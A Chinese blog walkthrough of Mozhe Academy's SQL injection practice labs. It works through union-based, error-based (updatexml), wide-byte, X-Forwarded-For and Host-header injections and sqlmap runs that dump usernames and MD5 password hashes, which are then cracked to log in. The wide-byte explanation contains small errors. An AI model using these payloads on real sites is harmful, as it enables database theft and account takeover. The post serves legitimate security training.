墨者学院-SQL手工注入专题

这段时间联系一下SQL注入:
墨者SQL手工注入专题
在线靶场-SQL注入

数据库:MySQL

三种数据库的注入详解

在这里插入图片描述
MySQL的很简单

1,查字段数
http://mozhe.cn/new_list.php?id=0 order by 5 时报错,说明字段有4个

2,查数据库
http://mozhe.cn/new_list.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

3,查表
http://mozhe.cn/new_list.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1

数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。

4,查字段
http://mozhe.cn/new_list.php?id=0 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1

数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。

5,查类容
http://mozhe.cn/new_list.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

查到两个数据:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad

MD5:
dsan13
392969
登录第二个账号得到key

数据库:Access

access数据库没有索引语句只能猜解。

判断数据库方法:

and (select count(*) from msysobjects)>0(返回权限不足 access数据库)

and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)

在这里插入图片描述
直接用sqlmap跑:
默认回车,线程设置10.
跑出来两个表:
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" --tables
在这里插入图片描述
爆字段
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin --columns
在这里插入图片描述
这里猜解到username和passwd这两个字段,很有可能用户名和密码存放在这个两个字段中

读取username和passwd字段中的数据
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin -C username,passwd --dump
在这里插入图片描述md5解密得到密码
在这里插入图片描述
登录得到flag

记录个讲的很好的教程:sqlmap注入access数据库

SQL Server

https://blog.csdn.net/qq_42357070/article/details/81239721

这题道感觉很复杂,手工注入很麻烦,还是用sqlmap跑吧。

SQL注入漏洞测试(布尔盲注)

数据库:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 --dbs --threads 10

在这里插入图片描述

表:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup --tables --threads 10
在这里插入图片描述
字段:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup -T member --columns --threads 10
在这里插入图片描述
内容:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump --threads 10

在这里插入图片描述得到两个账号:

mozhe-3114b433dece9180717f2b7de56b28a3-0
mozhe-72b907f67333f6b1831ef219d6ef7832-1

md5:
mozhe-816761-1

SQL手工注入漏洞测试(MySQL数据库-字符型)

在这里插入图片描述1,http://219.153.49.228:45334/new_list.php?id=tingjigonggao'
报错。

2,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' --+
没有报错,存在字符型注入。

3,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 5 --+
猜测字段数为5,报错。

4,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 4 --+
猜测字段数为4,正常,字段数为4。

5,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,3,4 --+
在这里插入图片描述
找到回显位置2和3。

6,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 0,1--+
在这里插入图片描述
第一个数据库为information_schema

7,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 1,1--+

在这里插入图片描述
第二个数据库为mozhe_discuz_stormgroup

8,同理:
所有数据库为mysql,information_schema,mozhe_discuz_stormgroup,performance_schema,test

9,使用mozhe_discuz_stormgroup数据库爆表
http://219.153.49.228:45334/new_list.php?id=' union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' limit 0,1--+
在这里插入图片描述

10,同理,爆出所有数据库:

notice,stormgroup_member

这里使用第二个数据库stormgroup_member,所以就不继续爆了。

11,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member' limit 0,1--+
在这里插入图片描述

12,同理,爆出所有字段名为:
id,name,password,status

13,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,concat(name,'-',password),4 from mozhe_discuz_stormgroup.stormgroup_member limit 0,1--+
在这里插入图片描述
14,爆出两个账号:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-9b7a0a48bdc5981497e68c7b1ec9d01c

15,md5解密:
mozhe-dsan13
mozhe-821078

16,登录第二个得到flag

X-Forwarded-For注入漏洞实战

在这里插入图片描述
这种题还是第一次遇到,因为要记录ip地址,所以要添加一个X-Forwarded-For: *的头。

1,复制信息到b.txt中。
在这里插入图片描述

2,构造sqlmap语句爆出数据库。
python sqlmap.py -r D:\desktop\b.txt --dbs --batch --threads 10

常用参数:
--batch:批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--threads: 设置多线程,默认为1,最大10。
sqlmap全参数详解

在这里插入图片描述
3,爆webcalendar数据库中的表。
python sqlmap.py -r D:\desktop\b.txt -D webcalendar --tables --batch --threads 10
在这里插入图片描述
4,爆字段内容。
python sqlmap.py -r D:\desktop\b.txt -D webcalendar -T user --dump --batch --threads 10
在这里插入图片描述
5,登录得到flag。
在这里插入图片描述

SQL注入漏洞测试(报错盲注)

在这里插入图片描述学习基于extractvalue()和updatexml()的报错注入

使用方法:updatexml(aaa ,concat(bbb,( SQL语句 ),bbb),aaa)

其中:aaa和bbb随便输入什么东西
回显:error:‘bbb 查询的SQL结果 bbb’

例:updatexml(1,concat('~',(select database()),'~'),1)
在这里插入图片描述


解题:

1,http://219.153.49.228:48410/new_list.php?id=1'
报错。

2,http://219.153.49.228:48410/new_list.php?id=1' --+
正常,存在注入。

3,根据题目提示使用updatexml()进行报错注入。
http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆出了数据库stormgroup。

4,爆表:
http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),0x7e),1)--+
在这里插入图片描述
爆出表:member

5,爆字段:
http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='stormgroup' and table_name='member' limit 0,1),0x7e),1)--+
在这里插入图片描述
6,同上,爆出其他字段。
name,password,status

7,爆字段类容。
http://219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',password) from stormgroup.member limit 0,1),0x7e),1)--+
在这里插入图片描述

8,同上,爆出所有账号,密码。
mozhe-3114b433dece9180717f2b7de
mozhe-773243a831d361bcdb225f0dd

9,但是这里有个坑,因为updatexml只能输出32位,所以还要用substr()把后面几位爆出来。
http://219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',substr(password,26)) from stormgroup.member limit 0,1),0x7e),1)--+
在这里插入图片描述
得到密码:3114b433dece9180717f2b7de56b28a3
和:3783d53ee620b2901c8eaae3b56b28a3

10,md5解密登录得到flag。

SQL注入漏洞测试(宽字节)

在这里插入图片描述

宽字节注入原理:
  1,出于安全考虑,单引号'会被转义为/'进入后台。
  2,%bf/'等于縗’,这样就成功将/号变为无效字符,从而正常使用单引号。(%bf=β


解题:

1,由于题目是宽字节注入,直接使用宽字节注入方法进行注入。
http://219.153.49.228:41108/new_list.php?id=-1%df

在这里插入图片描述
报错正常,开始注入。

2,确定字段数
http://219.153.49.228:41108/new_list.php?id=-1%df' order by 5 --+

order by 6 时报错,字段数为5。
在这里插入图片描述

3,找到回显点,回显点为5和3。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,5 --+
在这里插入图片描述
4,爆数据库。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata --+
在这里插入图片描述

5,爆表,因为引号被转义,库名,表名使用16进制。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 --+
在这里插入图片描述
6,爆字段。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 and table_name=0x73746f726d67726f75705f6d656d626572 --+
在这里插入图片描述
7,爆字段类容。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(name,password,status) from mozhe_discuz_stormgroup.stormgroup_member --+

在这里插入图片描述
8,md5解密,登录。
在这里插入图片描述

SQL注入漏洞测试(HTTP头注入)

在这里插入图片描述
第一次做http头注入的题目,看了看题解是在host上注入。

1,抓包,修改为Host: or 1=1
在这里插入图片描述
报错
在这里插入图片描述2,找注入点
host: union select 1,2,3,4
在这里插入图片描述
3,暴库
Host: union select 1,2,3,group_concat(schema_name) from information_schema.schemata
在这里插入图片描述
4,爆表
Host: union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'
在这里插入图片描述
5,爆字段
Host: union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'
在这里插入图片描述
6,爆flag
Host: union select 1,2,3,group_concat(flag) from pentesterlab.flag
在这里插入图片描述
7,验证flag
在这里插入图片描述

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值